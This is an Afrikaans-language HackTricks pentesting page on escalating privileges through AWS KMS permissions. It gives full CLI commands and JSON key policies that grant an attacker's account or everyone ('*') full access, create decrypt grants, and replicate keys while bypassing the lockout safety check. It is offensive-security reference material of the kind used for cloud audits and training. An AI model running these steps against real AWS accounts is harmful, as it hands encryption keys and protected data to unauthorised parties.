3.5 KiB
AWS - KMS Privesc
{{#include ../../../banners/hacktricks-training.md}}
KMS
Vir meer inligting oor KMS, kyk:
{{#ref}} ../aws-services/aws-kms-enum.md {{#endref}}
kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)
Met hierdie toestemmings is dit moontlik om die toegangstoestemmings tot die sleutel te wysig sodat dit deur ander rekeninge of selfs enige iemand gebruik kan word:
aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
beleid.json:
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}
kms:CreateGrant
Dit laat 'n prinsiep toe om 'n KMS-sleutel te gebruik:
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt
Warning
'n Toekenning kan slegs sekere tipes operasies toelaat: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations
Warning
Let daarop dat dit 'n paar minute kan neem voordat KMS die gebruiker toelaat om die sleutel te gebruik nadat die toekenning gegenereer is. Sodra daardie tyd verby is, kan die hoofpersoon die KMS-sleutel gebruik sonder om iets spesifiek aan te dui.
As dit egter nodig is om die toekenning onmiddellik te gebruik gebruik 'n toekenningstoken (kyk na die volgende kode).
Vir meer inligting lees dit.
# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token
Let daarop dat dit moontlik is om die toekennings van sleutels te lys met:
aws kms list-grants --key-id <value>
kms:CreateKey, kms:ReplicateKey
Met hierdie toestemmings is dit moontlik om 'n multi-region geaktiveerde KMS-sleutel in 'n ander streek met 'n ander beleid te repliseer.
So, 'n aanvaller kan dit misbruik om privesc sy toegang tot die sleutel te verkry en dit te gebruik.
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
kms:Decrypt
Hierdie toestemming laat toe om 'n sleutel te gebruik om sekere inligting te ontsleutel.
Vir meer inligting, kyk:
{{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}}
{{#include ../../../banners/hacktricks-training.md}}